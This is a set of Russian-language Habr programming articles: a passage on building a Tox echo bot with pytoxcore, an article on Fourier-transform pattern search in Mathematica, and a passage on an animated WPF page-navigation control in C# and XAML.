def __init__(self):
tox_options = ToxCore.tox_options_default()
if os.path.isfile("tox.save"):
with open("tox.save", "rb") as f:
tox_options["savedata_data"] = f.read()
super(EchoBot, self).__init__(tox_options)
```
При первом запуске ядро сгенерирует публичный и приватный ключи, которые при необходимости можно сохранить:
```
class EchoBot(ToxCore):
...
def save_data(self):
with open("tox.save", "wb") as f:
f.write(self.tox_get_savedata())
```
Поскольку данные всегда содержатся в памяти, то для защиты от случайных сбоев я рекомендую периодически сохранять данные во временный файл и (в случае успеха и атомарно) заменять им основной файл с данными.
Текущие значения адреса для передачи пользователям, публичного и приватного ключей и значения «nospam» можно получить вызовами:
* **tox\_self\_get\_address** — текущий адрес (ToxID).
* **tox\_self\_get\_public\_key** — публичный ключ.
* **tox\_self\_get\_secret\_key** — приватный ключ.
* **tox\_self\_get\_nospam / tox\_self\_set\_nospam** — получение и установка значения «nospam».
```
$ python
>>> from pytoxcore import ToxCore
>>> core = ToxCore(ToxCore.tox_options_default())
>>> core.tox_self_get_address()
'366EA3B25BA31E3ADC4C476098A8686E4EAE87B04E4E4A3A3A0B865CBB9725704189FEDAEB26'
>>> core.tox_self_get_public_key()
'366EA3B25BA31E3ADC4C476098A8686E4EAE87B04E4E4A3A3A0B865CBB972570'
>>> core.tox_self_get_secret_key()
'86003764B4C99395E164024A17DCD0ECB80363C5976FF43ECE11637FA0B683F9'
>>> core.tox_self_get_nospam()
'4189FEDA'
```
После инициализации ядра, боту в любое время можно установить ник и подпись вызовами **tox\_self\_set\_name** и **tox\_self\_set\_status\_message**. Длина имени не должна превышать значения **TOX\_MAX\_NAME\_LENGTH**, длина подписи не должна превышать значения **TOX\_MAX\_STATUS\_MESSAGE\_LENGTH** (размеры в байтах). Установка аватара будет рассмотрена ниже, т.к. технически является отправкой файла контакту.
Установка callback функций
==========================
В python-обертке подключение к поддерживаемым callback функциям производится автоматически. Сами же обработчики могут являться методами наследника **ToxCore** и имеют суффикс **\*\_cb**:
```
class EchoBot(ToxCore):
...
def tox_self_connection_status_cb(self, connection_status):
if connection_status == ToxCore.TOX_CONNECTION_NONE:
print("Disconnected from DHT")
elif connection_status == ToxCore.TOX_CONNECTION_TCP:
print("Connected to DHT via TCP")
elif connection_status == ToxCore.TOX_CONNECTION_UDP:
print("Connected to DHT via UDP")
else:
raise NotImplementedError("Unknown connection_status: {0}".format(connection_status))
```
Конкретные обработчики и их аргументы будут рассмотрены ниже.
Подключение к DHT-ноде
======================
DHT-нода определяется IP адресом, номером порта и публичным ключом. Начальный список DHT-нод можно [взять в вики проекта](https://wiki.tox.chat/users/nodes).
Согласно [Tox Client Guidelines](https://github.com/irungentoo/Tox_Client_Guidelines/blob/master/Required/Bootstrapping.md), клиент каждые 5 секунд должен пытаться подключиться как минимум к четырем случайным нодам, пока ядро не сообщит об успешном соединении (см. **tox\_self\_connection\_status\_cb**). В случае загрузки из файла состояния клиент не должен пытаться соединяться в течении 10 секунд после первого вызова **tox\_iterate** и, в случае отсутствия соединения, повторить агрессивную стратегию соединения выше.
Для бота, который планирует всегда быть на связи, данные рекомендации выглядят немного переусложненными. Можно попробовать сократить требуемое количество DHT-нод для подключения за счет поднятия собственной локальной DHT-ноды. Дополнительный плюс наличия локальной ноды, помимо постоянной связи с ней, это «усиление» самой сети Tox.
Для поднятия локальной ноды потребуется установить и настроить демона **tox-bootstrapd**. Его можно собрать вместе с библиотекой toxcore, а так же получить в бинарном виде из [репозитория разработчиков](https://wiki.tox.chat/binaries).
Конфигурация демона задается в файле */etc/tox-bootstrapd.conf* и [хорошо документирована](https://github.com/irungentoo/toxcore/blob/master/other/bootstrap_daemon/tox-bootstrapd.conf). Дополнительную информацию по запуску демона можно получить в соответствующем [README](https://github.com/irungentoo/toxcore/tree/master/other/bootstrap_daemon), а для deb-дистрибутивов [проекта tox.pkg](https://github.com/abbat/tox.pkg) установка пакета [tox-bootstrapd](http://software.opensuse.org/download.html?project=home%3Aantonbatenev%3Atox&package=tox-bootstrapd) самодостаточна. Публичный ключ локальной DHT-ноды можно будет узнать в системном логе после запуска демона.
Т.о., упрощенная версия соединения с DHT-нодой и рабочего цикла может быть представлена в виде:
```
class EchoBot(ToxCore):
...
def run(self):
checked = False
self.tox_bootstrap("127.0.0.1", 33445, "366EA...72570")
while True:
status = self.tox_self_get_connection_status()
if not checked and status != ToxCore.TOX_CONNECTION_NONE:
checked = True
if checked and status == ToxCore.TOX_CONNECTION_NONE:
self.tox_bootstrap("127.0.0.1", 33445, "366EA...72570")
checked = False
self.tox_iterate()
interval = self.tox_iteration_interval()
time.sleep(interval / 1000.0)
```
В некоторых случаях клиент может работать вообще без вызова **tox\_bootstrap** — для этого необходимо, чтобы в рамках одного широковещательного домена сети был запущен другой клиент или DHT-нода. Эта особенность делает возможным общение внутри локальной сети без необходимости выхода в интернет и общение с внешним миром, если хотя бы один клиент имеет доступ в сеть и является релеем.
Обработка событий
=================
Как было написано ранее, для подключения обработчика событий в python достаточно добавить нужный метод с нужными аргументами в класс-наследник и в качестве примера был приведен обработчик состояния соединения **tox\_self\_connection\_status\_cb**, который вызывается при подключении и отключении бота от DHT-сети.
Работа с контактами
-------------------
Для того, чтобы бот мог взаимодействовать с другими участниками сети, они должны быть добавлены в контакт-лист бота. В терминах API контакт называется «friend» и обозначается целым числом ("**friend\_number**"), уникальным в течении жизни экземпляра ToxCore.
Когда другой клиент делает запрос на добавление бота в контакт лист, на стороне бота вызывается обработчик **tox\_friend\_request\_cb(public\_key, message)**, где:
* **public\_key** — публичный ключ друга.
* **message** — сообщение от друга типа *«Привет, это abbat! Добавите меня в друзья?»*.
Внутри обработчика вы можете как добавить человека в друзья вызвав **tox\_friend\_add\_norequest**, так и просто проигнорировать запрос. Все дальнейшие обработчики событий будут использовать **friend\_number** в качестве идентификатора друга, который можно получить из публичного ключа вызовом **tox\_friend\_by\_public\_key**.
После добавления контакта в друзья на стороне бота могут возникать следующие события:
* **tox\_friend\_connection\_status\_cb(friend\_number, connection\_status)** — изменение состояния соединения друга, где **connection\_status** может принимать значения:
+ **TOX\_CONNECTION\_NONE** — друг в offline.
+ **TOX\_CONNECTION\_TCP** — друг в online и соединен по TCP.
+ **TOX\_CONNECTION\_UDP** — друг в online и соединен по UDP.
* **tox\_friend\_name\_cb(friend\_number, name)** — изменение ника друга.
* **tox\_friend\_status\_message\_cb(friend\_number, message)** — изменение подписи.
* **tox\_friend\_status\_cb(friend\_number, status)** — изменение состояния, где **status** может принимать значения:
+ **TOX\_USER\_STATUS\_NONE** — доступен («online»).
+ **TOX\_USER\_STATUS\_AWAY** — отошел.
+ **TOX\_USER\_STATUS\_BUSY** — занят.
* **tox\_friend\_message\_cb(friend\_number, message)** — сообщение от друга.
* **tox\_friend\_read\_receipt\_cb(friend\_number, message\_id)** — квитанция о получении другом сообщения, отправленного вызовом **tox\_friend\_send\_message** (см. ниже).
В случае echo-бота при получении сообщения от друга, его требуется просто отправить обратно:
```
class EchoBot(ToxCore):
...
def tox_friend_request_cb(self, public_key, message):
self.tox_friend_add_norequest(public_key)
def tox_friend_message_cb(self, friend_number, message):
message_id = self.tox_friend_send_message(friend_number, ToxCore.TOX_MESSAGE_TYPE_NORMAL, message)
```
Отправка сообщения другу производится вызовом метода **tox\_friend\_send\_message**, который возвращает идентификатор сообщения **message\_id** — монотонно возрастающее число, уникальное для каждого друга. В качестве параметров метод принимает идентификатор друга, тип сообщения и сам текст сообщения. На текст сообщения накладываются следующие ограничения:
* Сообщение не может быть пустым.
* Сообщение не может быть больше **TOX\_MAX\_MESSAGE\_LENGTH** (байт), длинные сообщения необходимо разбивать на части.
В случае, если обработка сообщения от друга требует некоторого времени, поведение бота можно разнообразить передавая случайным образом события «набора сообщения» (**tox\_self\_set\_typing**).
По значению **friend\_number** друга в любой момент работы можно получить следующую информацию о нем:
* **tox\_friend\_get\_connection\_status** — текущий сетевой статус друга (последнее значение из **tox\_friend\_connection\_status\_cb**).
* **tox\_friend\_get\_name** — текущий ник друга (последнее значение из **tox\_friend\_name\_cb**).
* **tox\_friend\_get\_status\_message** — текущая подпись друга (последнее значение **tox\_friend\_status\_message\_cb**).
* **tox\_friend\_get\_status** — текущий статус друга (последнее значение из **tox\_friend\_status\_cb**).
* **tox\_friend\_get\_last\_online** — дата последнего появления в online (unixtime).
Дополнительные операции с друзьями:
* **tox\_self\_get\_friend\_list\_size** — получение количества друзей.
* **tox\_self\_get\_friend\_list** — получение списка **friend\_number** друзей.
* **tox\_friend\_delete** — удаление друга из списка контактов.
Здесь кажется все просто и интуитивно. Дальше будет немного сложнее.
Работа с файлами
----------------
### Прием файлов
Когда кто-либо из друзей отправляет боту файл, возникает событие **tox\_file\_recv\_cb(friend\_number, file\_number, kind, file\_size, filename)**, где:
* **friend\_number** — номер друга (см. «Работа с контактами»).
* **file\_number** — номер файла, уникальное число в рамках текущего списка принимаемых и передаваемых файлов от данного друга.
* **kind** — тип файла:
+ **TOX\_FILE\_KIND\_DATA** — передаваемый файл является простым файлом.
+ **TOX\_FILE\_KIND\_AVATAR** — передаваемый файл является аватаром друга.
* **file\_size** — размер файла. Для **TOX\_FILE\_KIND\_AVATAR** размер файла равный 0 означает, что у друга не установлен аватар. Размер файла равный UINT64\_MAX обозначает неизвестный размер файла (потоковую передачу).
* **filename** — имя файла.
Здесь следует обратить особое внимание на параметр **filename**. Несмотря на то, что спецификация требует передавать все данные в UTF-8 и имя файла не должно содержать частей пути, в реальной жизни может прилететь все что угодно вплоть до нечитаемых бинарных данных, содержащих символы перевода строк и нули.
При возникновении данного события следующим действием бота должен быть вызов управляющего метода **tox\_file\_control(friend\_number, file\_number, control)**, где:
* **friend\_number** — номер друга.
* **file\_number** — номер файла.
* **control** — команда управления файлом:
+ **TOX\_FILE\_CONTROL\_CANCEL** — отменить прием файла.
+ **TOX\_FILE\_CONTROL\_PAUSE** — поставить передачу файла на паузу (поддерживается не всеми клиентами).
+ **TOX\_FILE\_CONTROL\_RESUME** — продолжить передачу файла.
Для echo-бота прием файлов не требуется, по этому он всегда может отменять операцию:
```
class EchoBot(ToxCore):
...
def tox_file_recv_cb(self, friend_number, file_number, kind, file_size, filename):
self.tox_file_control(friend_number, file_number, ToxCore.TOX_FILE_CONTROL_CANCEL)
```
В случае же передачи управления через **TOX\_FILE\_CONTROL\_RESUME**, начинает вызваться событие **tox\_file\_recv\_chunk\_cb(friend\_number, file\_number, position, data)**, где:
* **friend\_number** — номер друга.
* **file\_number** — номер файла.
* **position** — текущая позиция в файле.
* **data** — чанк данных или None для конца передачи.
Здесь следует обратить внимание на то, что **position** не обязана монотонно возрастать — в общем случае чанки могут приходить в любой последовательности и любой длины.
### Передача файлов
Для начала процедуры передачи файла необходим вызов метода **tox\_file\_send(friend\_number, kind, file\_size, file\_id, filename)**, где:
* **friend\_number** — номер друга.
* **kind** — значение **TOX\_FILE\_KIND\_DATA** или **TOX\_FILE\_KIND\_AVATAR**.
* **file\_size** — размер файла (специальные значения 0 и UINT64\_MAX рассмотрены выше).
* **file\_id** — уникальный идентификатор файла длиной **TOX\_FILE\_ID\_LENGTH**, который позволяет продолжить передачу после рестарта ядра или None для автоматической генерации.
* **filename** — имя файла.
Здесь особенным параметром является **file\_id**. В случае автоматической генерации его впоследствии можно получить вызовом **tox\_file\_get\_file\_id**, однако при передаче аватара его значение рекомендуется устанавливать в результат вызова **tox\_hash** от данных файла аватара, что позволяет принимающей стороне отменять передачу ранее загруженных аватаров экономя трафик.
Так же следует отметить, что передача файлов возможна только тем друзьям, которые подключены к сети. Отключение друга от сети прекращает передачу файла.
После вызова **tox\_file\_send** ядро ожидает решения от принимающей стороны. Решение обрабатывается событием **tox\_file\_recv\_control\_cb(friend\_number, file\_number, control)**, где:
* **friend\_number** — номер друга.
* **file\_number** — номер файла.
* **control** — команда управления файлом (**TOX\_FILE\_CONTROL\_CANCEL**, **TOX\_FILE\_CONTROL\_PAUSE** или **TOX\_FILE\_CONTROL\_RESUME** рассмотренные ранее).
Обработка данного события позволяет освободить ресурсы в случае отказа клиента от принятия файла.
Echo-боту требуется только передавать аватар. Передачу аватара рекомендуется делать каждый раз, когда друг появляется в сети. Если tox-клиент друга ранее уже загрузил аватар с данным **file\_id**, то он может отменить повторную передачу аватара.
```
class EchoBot(ToxCore):
...
def __init__(self):
...
self.avatar_name = "avatar.png"
self.avatar_size = os.path.getsize(avatar_name)
self.avatar_fd = open(avatar_name, "rb")
data = self.avatar_fd.read()
self.avatar_id = ToxCore.tox_hash(data)
def tox_friend_connection_status_cb(self, friend_number, connection_status):
if connection_status != ToxCore.TOX_CONNECTION_NONE:
send_avatar(friend_number)
def send_avatar(self, friend_number):
file_number = self.tox_file_send(friend_number, ToxCore.TOX_FILE_KIND_AVATAR, self.avatar_size, self.avatar_id, self.avatar_name)
def tox_file_recv_control_cb(self, friend_number, file_number, control):
pass
def tox_file_chunk_request_cb(self, friend_number, file_number, position, length):
if length == 0:
return
self.avatar_fd.seek(position, 0)
data = self.avatar_fd.read(length)
self.tox_file_send_chunk(friend_number, file_number, position, data)
```
Помимо приема-передачи сообщений и файлов, в ядре реализована возможность передачи пакетов (с потерями или без потерь). Для этого служат методы **tox\_friend\_send\_lossy\_packet** и **tox\_friend\_send\_lossless\_packet**, а так же события **tox\_friend\_lossy\_packet\_cb** и **tox\_friend\_lossless\_packet\_cb**.
Ссылки
======
* [tox.chat](https://tox.chat/) — текущий официальный сайт проекта Tox (взамен tox.im).
* Проект ядра [toxcore на github](https://github.com/irungentoo/toxcore).
* Проект python-обертки [pytoxcore на github](https://github.com/abbat/pytoxcore).
* Проект для сборки бинарных версий клиентов и библиотек [tox.pkg на github](https://github.com/abbat/tox.pkg).
* Проект «официальной» python-обертки [PyTox на github](https://github.com/aitjcize/PyTox) (на момент написания статьи библиотека не компилировалась из за использования «старого» api). | https://habr.com/ru/post/264179/ | null | ru | null |
# Одномерный поиск образца с использованием дискретного преобразования Фурье
После прочтения статьи про поиск изображения в изображении[1], осталось множество вопросов к формулам, да и к самому коду где преобразование массивов мне показалось не прозрачным из-за использования множества сторонних библиотечных функций.
Потому занялся дополнительным поиском готовых реализаций, но к сожалению не смотря на обилие упоминаний идеи 1974 года[2], реализаций алгоритма, даже на законодателе моды в вычислительной математике Фортране я не обнаружил. В семинарах и лекциях да и в диссертациях описание не блистало целостностью, потому собрав с десяток статей и обсуждений в кучу появилось желание написать статью для тех кто простейшую реализацию поиска подстроки хочет "подержать в руках".
И так, написание алгоритмических программ обычно произвожу сначала в математических пакетах, и только после выяснения численной устойчивости и корректности работы алгоритма перевожу в код на компилируемые или байт ориентированные языки. Таков уж мой опыт, - или считать медленно но точно, или быстро но то что уже практически известно. Потому для отладочного иллюстративного кода использовал Wolfram Language и набор функций пакета Mathematica V 12.
Собственно в чем ценность идеи: использование дискретного Фурье преобразования (DFT) сокращает сложность вычисления от "наивного" O(n\*m) до O(n Log(n)), где n - размер текста а m - размер искомого образца. Более того расширения метода позволяют производить поиск с "Джокером", - символом обозначающим любой другой символ в алфавите, в то время как суффиксные реализации это сделать не позволяют.
**Описание "наивного" подхода:**
Для массива T размером n и образца P размером m, вычислим функцию квадратов разницы значений элементов. Нумерация в массиве начинается с нуля.
Очевидно что в точке соответствия искомая сумма показывает минимум, если точнее обнуляется. После раскрытия квадрата под суммой получаются три слагаемых, последнее из которых имеет постоянное значение. Соответственно для поиска минимума необходимо вычислить только первые две суммы. Можно увидеть что прямое вычисление всех элементов S требует O((n-m+1)\*m) операций, или оценочно O(n\*m).
В качестве массива используем строчку из картинки на половине ее высоты, а образец который будем искать пусть будет отрезком в первой половине этой строчки:
"Test.png"Произведем прямое вычисление искомой функции:
```
Img = ColorConvert[Import["Test.png"], "Grayscale"];
{W, H} = ImageDimensions[Img];
y = IntegerPart[H/2]; (*Pattern width and coordinates*)
x = IntegerPart[W/4];
w = IntegerPart[W/8];
L = Part[ImageData[ImageTake[Img, {y, y}]],1]; (*Stripe Array*)
T[i_] := Table[Part[L[[i + j - 1]], 1], {j, 1, w}] ; (*Sample data*)
P[i_] := Table[Part[L[[j + x - 1]], 1], {j, 1, w}] ; (*Pattern data*)
TT = Table[Sum[(T[i][[j]]* T[i][[j]]), {j, 1, w}], {i, 1, W - w + 1}];
PT = Table[Sum[(P[i][[j]]* T[i][[j]]), {j, 1, w}], {i, 1, W - w + 1}];
ListPlot[TT - 2 PT, Joined -> True, PlotRange -> All]
```
Результат вычисления квадрата разницы без постоянного слагаемогоКак видно в точке (x=175), где был взят образец, функция показала минимальное значение и повторила его значение ведь изображение почти дублируется.
**Свойства дискретного Фурье преобразования.**
Вместо обычного описания определений и свойств приведу всего две вспомогательных программы, которые мне помогли почувствовать действие скользящих индексов и увидеть точные значения смещений для использования в дальнейших вычислениях.
*Вычисление PT*
```
PolyT = {1, 2, 3, 4, 5}; LT = Length[PolyT];
PolyP = {1, 2, 3}; LP = Length[PolyP];
PolyR = {}; LR = LT + LP - 1;
eT = Table[If[i > LT, 0, PolyT[[i]]], {i, 1, LR}]
eP = Table[If[i > LP, 0, PolyP[[i]]], {i, 1, LR}]
PolyR = InverseFourier[
Fourier[eT, FourierParameters -> {1, 1}]*
Fourier[eP, FourierParameters -> {1, 1}]
, FourierParameters -> {1, 1}]
PolyR[[LP ;; LT]]
```
результат действия такого кода:
```
{1, 2, 3, 4, 5, 0, 0} (* PolyT *)
{1, 2, 3, 0, 0, 0, 0} (* PolyP *)
{1., 4., 10., 16., 22., 22., 15.} (* PolyR = PolyT * PolyP *)
{10., 16., 22.} (* PolyR starting at LP to LT*)
```
Итак, если массив значений представить полиномами, то получаемое значение тоже полином размером n+m-1.
Более того, начиная с позиции m (если нумерация начинается с единицы) мы получаем сумму перекрестного произведения элементов для окна длинны m:
```
10 = 1*3+2*2+3*1
16 = 2*3+3*2+4*1
...
```
Потому для вычисления элементов PT искомый образец P разворачивается. Всего получается n-m+1 значений.
*Вычисление TT*
```
PolyT = {1, 2, 3, 4, 5}; LT = Length[PolyT];
PolyP = {1, 1, 1}; LP = Length[PolyP];
PolyR = {}; LR = LT + LP - 1;
eT = Table[If[i > LT, 0, PolyT[[i]]], {i, 1, LR}]
eP = Table[If[i > LP, 0, PolyP[[i]]], {i, 1, LR}]
PolyR = InverseFourier[
Fourier[eT, FourierParameters -> {1, 1}]*
Fourier[eP, FourierParameters -> {1, 1}]
, FourierParameters -> {1, 1}]
PolyR[[LP ;; LT]]
```
результат действия кода:
```
{1, 2, 3, 4, 5, 0, 0} (* PolyT *)
{1, 1, 1, 0, 0, 0, 0} (* PolyP *)
{1., 3., 6., 9., 12., 9., 5.} (* PolyR = PolyT * PolyP *)
{6., 9., 12.} (* PolyR starting at LP to LT*)
```
```
6 = 1*1+2*1+3*1
9 = 2*1+3*1+4*1
...
```
Учитывая предыдущий пример, в массив текста заносятся квадраты значений элементов, а в массив искомого образца единицы, длинна последовательности единиц - m.
**Сборка и сравнение**
Вычисление PP и TT с использованием DFT:
```
Tt = Table[If[1 <= i <= W, Part[L[[i]], 1], 0], {i, 1, Wt}] ; (*Sample data*)
Ft = Fourier[Tt, FourierParameters -> {1, 1}];
Ts = Table[If[1 <= i <= W, (Part[L[[i]], 1])^2, 0], {i, 1, Wt}]; (*Sample squared data*)
Fs = Fourier[Ts, FourierParameters -> {1, 1}];
Es = Table[If[1 <= i <= w, 1, 0], {i, 1, Wt}] ; (*m size unit array*)
Fe = Fourier[Es, FourierParameters -> {1, 1}];
Pa = Table[If[1 <= i <= w, Part[L[[x + w - i]], 1], 0], {i, 1, Wt}]; \
Fp = Fourier[Pa, FourierParameters -> {1, 1}]; (*Inverse pattern data*)
TTf = InverseFourier[Fs*Fe, FourierParameters -> {1, 1}][[w ;; W]];
PTf = InverseFourier[Ft*Fp, FourierParameters -> {1, 1}][[w ;; W]];
```
Сравниваем полученные значения:
```
ListPlot[{TT - 2 PT, TTf - 2 PTf, TT - 2 PT - TTf + 2 PTf}, Joined -> True, PlotRange -> All]
```
Три графика, два совпадающих и один показывающий разницу между ними, совпадает с осью.**Выводы**
Не смотря на то что метод приближенный, его точности более чем достаточно для работы с текстом и большинством обычных изображений где значения яркости отличаются в разы.
Приведенный код не претендует на оптимальность быстродействия а предназначен больше для удобства понимания и оценки точности алгоритма.
1. <https://habr.com/ru/post/266129/>
2. [https://eduardgorbunov.github.io/assets/files/amc\_778\_seminar\_08.pdf](https://eduardgorbunov.github.io/assets/files/amc_778_seminar_08.pdf?fbclid=IwAR1Ns3Wmdx_QaZapcvdmZN7Z6QelsmK911eXjrr5CvpAaP_9tCSFfBhJ5y8) | https://habr.com/ru/post/552932/ | null | ru | null |
# WPF — Floppy Pages
Реализация нового Frame в стиле IOS
-----------------------------------
Или проще говоря — Frame в стиле Modern UI.
Здравствуйте. Меня зовут Андрей и я очень устал пользоваться стандартным VK на Windows 10. Его горизонтальная навигация меня утомила и как то она не вписывается в общий дизайн. Ещё очень давно хотел реализовать такое дело, а именно: плавная навигация как на iPhone. Для чего? Для того, что я хочу сделать свой VK клиент на WPF. Для начала покажу общую картину:
Можно сделать вывод, что такой подход будет очень удобным. DataContext между страницами будет передаваться через конструктор, но дальше будет интереснее.
Начну с namespace UFC.UI. Так как на каждой странице может находиться несколько кнопок, то мне пришлось создать интерфейс:
**interface IFloppyPage**
```
public delegate void FloppyPageNavigateEventHandler(IFloppyPage page, FloppyPageEventArgs e);
public delegate void FloppyPageGoBackEventHandler(FloppyPageEventArgs e);
public class FloppyPageEventArgs : EventArgs
{
public FloppyPageEventArgs() { }
}
public interface IFloppyPage
{
event FloppyPageNavigateEventHandler Navigate;
event FloppyPageGoBackEventHandler GoBack;
IFloppyPages IFloppyPages { get; set; }
string Title { get; set; }
}
```
Каждая страница наследует этот интерфейс и получает очень удобное дополнение.
**partial class Page1 : Page, IFloppyPage**
```
public partial class Page1 : Page, IFloppyPage
{
public event FloppyPageNavigateEventHandler Navigate;
public event FloppyPageGoBackEventHandler GoBack;
public IFloppyPages IFloppyPages { get; set; }
public Page1() : this(null) { }
public Page1(object dataContext)
{
InitializeComponent();
if (dataContext != null)
this.DataContext = dataContext;
else
this.DataContext = this;
Title = "Первая страница";
}
private void NavigateTo_MainPage(object sender, RoutedEventArgs e)
{
if (Navigate != null)
Navigate(new MainPage(DataContext), new FloppyPageEventArgs());
}
private void NavigateTo_Page2(object sender, RoutedEventArgs e)
{
if (Navigate != null)
Navigate(new Page2(DataContext), new FloppyPageEventArgs());
}
private void NavigateTo_Page3(object sender, RoutedEventArgs e)
{
if (Navigate != null)
Navigate(new Page3(DataContext), new FloppyPageEventArgs());
}
private void Button_GoBack(object sender, RoutedEventArgs e)
{
if (GoBack != null)
GoBack(new FloppyPageEventArgs());
}
}
```
Теперь плавно можно подойти к интересному. Здесь затронут интерфейс IFloppyPages. Конечно его можно было бы по другому назвать, но я выбрал именно такое название. Его функция ни чем не отличается от DataContext. Такое решение сделано для того, что бы в будущем мы могли использовать DataContext в других целях (mvvm, binding, commands и т.д.)
Собственно, вот его реализация:
**interface IFloppyPages**
```
public interface IFloppyPages
{
IFloppyPage FirstPage { get; set; }
IFloppyPage CurrentPage { get; set; }
int JournalCount { get; set; }
void Navigate(IFloppyPage page);
bool GoBack();
bool CanGoBack { get; set; }
}
```
Пожалуй теперь можно взглянуть на xaml разметку этого элемента управления:
**local:FloppyPages**
```
10, 0, -10, 0
<Style.Setters>
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="local:FloppyPages">
<Grid Name="mainGrid">
<Grid Name="grid1">
<Frame Name="frame1" NavigationUIVisibility="Hidden"/>
</Grid>
<Grid Name="grid2">
<Frame Name="frame2" NavigationUIVisibility="Hidden"/>
</Grid>
<Grid.Resources>
<BeginStoryboard x:Key="grid1Animation">
<Storyboard>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid1"
Storyboard.TargetProperty="Margin"
From="{DynamicResource Dynamic.ThicknessAnimation.Margin}"
To="0">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid2"
Storyboard.TargetProperty="Margin"
From="0"
To="-100, 20, 100, 20">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
</Storyboard>
</BeginStoryboard>
<BeginStoryboard x:Key="grid2Animation">
<Storyboard>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid2"
Storyboard.TargetProperty="Margin"
From="{DynamicResource Dynamic.ThicknessAnimation.Margin}"
To="0">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid1"
Storyboard.TargetProperty="Margin"
From="0"
To="-100, 20, 100, 20">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
</Storyboard>
</BeginStoryboard>
<BeginStoryboard x:Key="grid3Animation">
<Storyboard>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid1"
Storyboard.TargetProperty="Margin"
From="0"
To="{DynamicResource Dynamic.ThicknessAnimation.Margin}">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid2"
Storyboard.TargetProperty="Margin"
From="-100, 20, 100, 20"
To="0">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
</Storyboard>
</BeginStoryboard>
<BeginStoryboard x:Key="grid4Animation">
<Storyboard>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid2"
Storyboard.TargetProperty="Margin"
From="0"
To="{DynamicResource Dynamic.ThicknessAnimation.Margin}">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
<ThicknessAnimation
Duration="0:0:0.8"
Storyboard.TargetName="grid1"
Storyboard.TargetProperty="Margin"
From="-100, 20, 100, 20"
To="0">
<ThicknessAnimation.EasingFunction>
<ElasticEase EasingMode="EaseOut" Oscillations="1"/>
</ThicknessAnimation.EasingFunction>
</ThicknessAnimation>
</Storyboard>
</BeginStoryboard>
</Grid.Resources>
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style.Setters>
```
Очень надеюсь, что вам удастся понять мой алгоритм. Всё самое непонятное постараюсь объяснить после кода внизу страницы.
Теперь приведу весь код этого элемента управления:
**UFC.UI & UFC.UI.Controls**
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Media.Animation;
namespace UFC.UI
{
#region DefaultPage
///
/// Страница по умолчанию.
///
internal class DefaultPage : IFloppyPage
{
public event FloppyPageNavigateEventHandler Navigate;
public event FloppyPageGoBackEventHandler GoBack;
public IFloppyPages IFloppyPages { get; set; }
public string Title { get; set; }
public DefaultPage()
{
Title = "Страница по умолчанию";
}
}
#endregion
#region IFloppyPage
public delegate void FloppyPageNavigateEventHandler(IFloppyPage page, FloppyPageEventArgs e);
public delegate void FloppyPageGoBackEventHandler(FloppyPageEventArgs e);
public class FloppyPageEventArgs : EventArgs
{
public FloppyPageEventArgs() { }
}
public interface IFloppyPage
{
event FloppyPageNavigateEventHandler Navigate;
event FloppyPageGoBackEventHandler GoBack;
IFloppyPages IFloppyPages { get; set; }
string Title { get; set; }
}
#endregion
#region IFloppyPages
public interface IFloppyPages
{
IFloppyPage FirstPage { get; set; }
IFloppyPage CurrentPage { get; set; }
int JournalCount { get; set; }
void Navigate(IFloppyPage page);
bool GoBack();
bool CanGoBack { get; set; }
}
#endregion
}
namespace UFC.UI.Controls
{
#region FloppyPages
public class FloppyPages : Control, IFloppyPages, INotifyPropertyChanged
{
#region Private Members
private bool GridNumber = false;
private bool IsDoneAnimation = true;
private bool IsDoneInitialization = false;
private List journal = new List();
private Frame frame1 = null;
private Frame frame2 = null;
private Grid mainGrid = null;
private Grid grid1 = null;
private Grid grid2 = null;
private BeginStoryboard animation1 = null;
private BeginStoryboard animation2 = null;
private BeginStoryboard animation3 = null;
private BeginStoryboard animation4 = null;
#endregion
#region Constructors
static FloppyPages()
{
DefaultStyleKeyProperty.OverrideMetadata(typeof(FloppyPages), new FrameworkPropertyMetadata(typeof(FloppyPages)));
FloppyPages.NavigatedRoutedEvent = EventManager.RegisterRoutedEvent("Navigated", RoutingStrategy.Bubble, typeof(RoutedEventHandler), typeof(FloppyPages));
FloppyPages.WentBackRoutedEvent = EventManager.RegisterRoutedEvent("WentBack", RoutingStrategy.Bubble, typeof(RoutedEventHandler), typeof(FloppyPages));
}
public FloppyPages() { }
#endregion
#region Public Dependency Properties
public static readonly DependencyProperty FirstPageProperty =
DependencyProperty.RegisterAttached("FirstPage", typeof(IFloppyPage), typeof(FloppyPages));
#endregion
#region Public Properties
public IFloppyPage FirstPage
{
get { return (IFloppyPage)GetValue(FirstPageProperty); }
set
{
SetValue(FirstPageProperty, value);
OnFirstPage(FirstPage);
OnPropertyChanged("FirstPage");
}
}
#endregion
#region Public RoutedEvents
public static readonly RoutedEvent NavigatedRoutedEvent;
public static readonly RoutedEvent WentBackRoutedEvent;
#endregion
#region Public Events
